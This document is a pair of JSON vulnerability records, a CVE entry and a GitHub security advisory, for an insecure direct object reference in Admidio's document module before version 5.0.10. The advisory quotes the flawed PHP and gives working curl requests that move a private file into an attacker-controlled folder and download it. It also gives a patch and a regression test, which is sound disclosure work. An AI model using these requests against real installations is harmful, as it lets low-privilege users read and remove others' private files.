{
  "affected": [
    {
      "affectedData": [
        {
          "product": "admidio",
          "vendor": "Admidio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.10"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Admidio is an open-source user management solution. Prior to version 5.0.10, `modules/documents-files.php` gates state-changing modes by checking that the actor has `hasUploadRight()` on the URL parameter `folder_uuid`. The `move_save` handler then operates on a *separate* URL parameter `file_uuid` and calls `File::moveToFolder($destFolderUUID)`. `File::moveToFolder()` checks the upload right on the destination folder but never on the source folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder \u2014 including private folders to which they have no view rights \u2014 into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location). Version 5.0.10 contains a fix."
    }
  ],
  "id": "CVE-2026-47231",
  "lastModified": "2026-09-09T20:55:04.493",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-47231",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-12T15:19:46.322957Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-12T14:17:54.210",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-x628-457g-2pw9"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-x628-457g-2pw9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        },
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:06:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`modules/documents-files.php` gates state-changing modes by checking that the actor has `hasUploadRight()` on the URL parameter `folder_uuid`. The `move_save` handler then operates on a *separate* URL parameter `file_uuid` and calls `File::moveToFolder($destFolderUUID)`. `File::moveToFolder()` checks the upload right on the **destination** folder but never on the **source** folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder \u2014 including private folders to which they have no view rights \u2014 into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location).\n\n## Details\n\n### Vulnerable Code\n\n`modules/documents-files.php:79-89` \u2014 top-level rights check binds to URL `folder_uuid`:\n\n```php\nif ($getMode != \u0027list\u0027 \u0026\u0026 $getMode != \u0027download\u0027) {\n    // check the rights of the current folder\n    // user must be administrator or must have the right to upload files\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);\n\n    if (!$folder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n        // =\u003e EXIT\n    }\n}\n```\n\n`modules/documents-files.php:187-204` \u2014 the `move_save` branch loads the file by UUID without revalidating the file\u0027s actual parent folder:\n\n```php\ncase \u0027move_save\u0027:\n    $documentsFilesMoveForm = $gCurrentSession-\u003egetFormObject($_POST[\u0027adm_csrf_token\u0027]);\n    $formValues = $documentsFilesMoveForm-\u003evalidate($_POST);\n\n    if ($getFileUUID !== \u0027\u0027) {\n        $file = new File($gDb);\n        $file-\u003ereadDataByUuid($getFileUUID);                       // \u003c-- no permission check on the file\u0027s source folder\n        $file-\u003emoveToFolder($formValues[\u0027adm_destination_folder_uuid\u0027]);\n    } else {\n        $folder = new Folder($gDb);\n        $folder-\u003ereadDataByUuid($getFolderUUID);\n        $folder-\u003emoveToFolder($formValues[\u0027adm_destination_folder_uuid\u0027]);\n    }\n\n    $gNavigation-\u003edeleteLastUrl();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, \u0027url\u0027 =\u003e $gNavigation-\u003egetUrl()));\n    break;\n```\n\n`src/Documents/Entity/File.php:212-223` \u2014 `moveToFolder` checks only the destination:\n\n```php\npublic function moveToFolder(string $destFolderUUID)\n{\n    $folder = new Folder($this-\u003edb);\n    $folder-\u003ereadDataByUuid($destFolderUUID);\n\n    if ($folder-\u003ehasUploadRight()) {                               // \u003c-- destination only\n        FileSystemUtils::moveFile($this-\u003egetFullFilePath(),\n                                  $folder-\u003egetFullFolderPath() . \u0027/\u0027 . $this-\u003egetValue(\u0027fil_name\u0027));\n        $this-\u003esetValue(\u0027fil_fol_id\u0027, $folder-\u003egetValue(\u0027fol_id\u0027));\n        $this-\u003esave();\n    }\n}\n```\n\nThere is no check that the actor has any right (view, edit, upload) on the folder that *currently* contains the file. The `file_uuid` URL parameter is independent of `folder_uuid`, so an attacker can pass `folder_uuid=\u003ca folder I can upload to\u003e` together with `file_uuid=\u003ca file in a folder I cannot read\u003e`. The top-level rights check passes; the destination check passes; the file is moved.\n\n### Exploitation Primitive\n\n1. Attacker user `lowuser` holds `folder_upload` on a single Documents folder `public_uploadable` (UUID `c41a99c0-\u2026`). They have no view or edit rights on `private_admin_only` (UUID `db1f71b9-\u2026`, which is a role-restricted folder containing `private_to_delete.txt`, UUID `559ed352-\u2026`).\n2. Render the move form with mismatched UUIDs to register a form key in the session:\n   `GET /modules/documents-files.php?mode=move\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026`\n3. Submit `move_save` with the same mismatch:\n   `POST /modules/documents-files.php?mode=move_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026` with `adm_csrf_token=\u003cfrom step 2\u003e` and `adm_destination_folder_uuid=c41a99c0-\u2026`. Server replies `{\"status\":\"success\"}`. The `private_to_delete.txt` row in `adm_files` now has `fil_fol_id` pointing at the public-uploadable folder.\n4. Download the file from its new (publicly-accessible) location:\n   `GET /modules/documents-files.php?mode=download\u0026file_uuid=559ed352-\u2026` returns the bytes of `private_to_delete.txt`.\n\n## PoC\n\nTested live on HEAD `c5cde53`. The trace below is the agent-captured run; I verified the code paths against the source listed above.\n\n```\n# 0. starting state \u2014 lowuser has upload right ONLY on c41a99c0-\u2026 (public_uploadable)\n$ curl -sb $cookie http://127.0.0.1:8085/modules/documents-files.php?folder_uuid=db1f71b9-\u2026\n\"You do not have the required permission to perform this action.\"\n\n# 1. render the move form using the public folder UUID (where lowuser has upload right)\n#    paired with the PRIVATE file UUID\n$ curl -sb $cookie \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=move\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026\"\n# form rendered, CSRF token X is now in session\n\n# 2. submit move_save with the same param mismatch\n$ curl -sb $cookie -X POST \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=move_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=559ed352-\u2026\" \\\n    -d \"adm_csrf_token=X\u0026adm_destination_folder_uuid=c41a99c0-\u2026\"\n{\"status\":\"success\", \"url\":\"\u2026\"}\n\n# 3. download the leaked file\n$ curl -sb $cookie \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=download\u0026file_uuid=559ed352-\u2026\"\nprivate_to_delete_data\n```\n\nThe DB record for the file now points at the attacker\u0027s folder (`fil_fol_id` updated), and the file has been physically moved on disk by `FileSystemUtils::moveFile`.\n\n## Impact\n\nAny user with `folder_upload` right on a single Documents folder gains:\n\n* **Read access** to every file in private folders \u2014 admin-only documents, board-only files, leader-only resources, role-restricted attachments \u2014 by moving them into a folder the attacker owns and then downloading.\n* **Write/destruction primitive** \u2014 the file is no longer in its original folder. Users who depended on the file at its legitimate location can no longer find it. The moved file\u0027s permissions are now those of the destination, so previously-restricted content can be exposed to other low-privilege users (whoever else has view rights on the destination folder).\n\nIn multi-tenant Admidio installations where one shared deployment hosts multiple groups (e.g., a federation of associations), the bug crosses organisation-internal Documents trust boundaries: a member of group A holding `folder_upload` on group A\u0027s public folder can lift any private file from group B.\n\n`PR:L` reflects that the actor must hold a single Documents upload right (a routinely-granted role attribute, not an administrator privilege). `S:U` because the impact stays inside the Documents module\u0027s own access-control model, but the access boundary it bypasses is the one that operators most rely on. `C:H` because confidentiality of any file in any private folder is broken; `I:H` because file location is mutated.\n\n## Recommended Fix\n\n`File::moveToFolder()` must check that the actor has upload right (or at least edit / move right) on the file\u0027s *source* folder, not just on the destination. The minimal patch:\n\n```php\n// src/Documents/Entity/File.php\npublic function moveToFolder(string $destFolderUUID)\n{\n    // re-read the source folder this file currently lives in, and check rights on it\n    $sourceFolder = new Folder($this-\u003edb);\n    $sourceFolder-\u003ereadData($this-\u003egetValue(\u0027fil_fol_id\u0027));\n    if (!$sourceFolder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    $destFolder = new Folder($this-\u003edb);\n    $destFolder-\u003ereadDataByUuid($destFolderUUID);\n\n    if (!$destFolder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    FileSystemUtils::moveFile($this-\u003egetFullFilePath(),\n                              $destFolder-\u003egetFullFolderPath() . \u0027/\u0027 . $this-\u003egetValue(\u0027fil_name\u0027));\n    $this-\u003esetValue(\u0027fil_fol_id\u0027, $destFolder-\u003egetValue(\u0027fol_id\u0027));\n    $this-\u003esave();\n}\n```\n\nEquivalently, `documents-files.php` `case \u0027move_save\u0027` should resolve the file\u0027s actual parent folder before the operation and call `getFileForDownload()` plus `hasUploadRight()` on that parent. The same fix is needed for `Folder::moveToFolder()` (the move-folder path is identical in shape).\n\nA regression test should:\n1. Create user `lowuser` with upload right only on folder A.\n2. Place a private file in folder B with no rights for `lowuser`.\n3. As `lowuser`, render `mode=move` with `folder_uuid=A\u0026file_uuid=\u003cB\u0027s file\u003e`, then `POST mode=move_save` with the same.\n4. Assert the response is `SYS_NO_RIGHTS` and the file\u0027s `fil_fol_id` is unchanged.\n\n## Related\n\n`mode=file_rename_save` shares the same root cause and is filed separately (`06-documents-cross-folder-rename-idor.md`); both bugs flow from the top-level rights check binding to URL `folder_uuid` rather than the file\u0027s actual parent.",
  "id": "GHSA-x628-457g-2pw9",
  "modified": "2026-05-29T22:06:49Z",
  "published": "2026-05-29T22:06:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-x628-457g-2pw9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders"
}